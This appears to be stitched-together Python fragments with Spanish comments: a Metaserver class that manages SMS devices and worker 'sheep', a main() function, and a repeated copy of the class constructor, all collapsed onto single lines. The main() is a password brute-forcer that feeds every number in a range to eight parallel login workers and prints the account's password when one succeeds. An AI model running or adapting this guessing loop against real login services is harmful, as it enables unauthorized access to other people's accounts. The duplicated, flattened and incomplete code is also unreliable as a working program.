class Metaserver(object): def __init__(self, pathbase="."): """ * Crea la estructura de directorios del metaservidor * Esto incluye el fichero de configuracion necesario para hacer funcionar al bugoso smsd * Inicia el monitor de dispositivos Maneja los eventos de conexion/desconexion Pide a farm que instancie y elimine servidores Desencadena eventos """ self.servers = {} self.sheeps = {} self.farm = Farm() self.pathbase = os.path.abspath(pathbase) self.device_monitor = Monitor(self.configure_device, self.remove_device) self.device_monitor.loop.run() @Auto_verbose(1, 1) def configure_device(self, device_path, protocol, model=None): info("Metaserver:configured:%s, %s, %s" % (device_path, protocol, model)) server = Server(self, device_path, protocol, model) sheep = self.farm.get_sheep(server.send_sms) self.servers[device_path] = server self.sheeps[device_path] = server self.farm.put_sheep(sheep) server.start_smsd() sheep.start() return def remove_device(self, device_path): info("Metaserver:removed:%s" % device_path) server = self.servers[device_path] server.close() del(self.servers[device_path]) return
def main(opts=None, args=None): sys.argv += [None, None] loginNumber = sys.argv.pop(1) fromnumber = sys.argv.pop(1) or "0" tonumber = sys.argv.pop(1) or "10000" # TODO: debe verificar el servicio antes de iniciar el proceso farm = Farm(Login, 8, True, True) debug("Farm created") rango = xrange(int(fromnumber.replace("%", "00")), int(tonumber.replace("%", "00"))) for number in rango: farm.enqueue((loginNumber, number)) debug("Farm populated") farm.start() debug("Farm started") debug("Joining farm") result = farm.wait_eval() if result: print(u"¡La contraseña de %s es %s !" % (loginNumber, result)) return 0 else: error(u"No pude encontrar la contraseña :(") return 1
def __init__(self, pathbase="."): """ * Crea la estructura de directorios del metaservidor * Esto incluye el fichero de configuracion necesario para hacer funcionar al bugoso smsd * Inicia el monitor de dispositivos Maneja los eventos de conexion/desconexion Pide a farm que instancie y elimine servidores Desencadena eventos """ self.servers = {} self.sheeps = {} self.farm = Farm() self.pathbase = os.path.abspath(pathbase) self.device_monitor = Monitor(self.configure_device, self.remove_device) self.device_monitor.loop.run()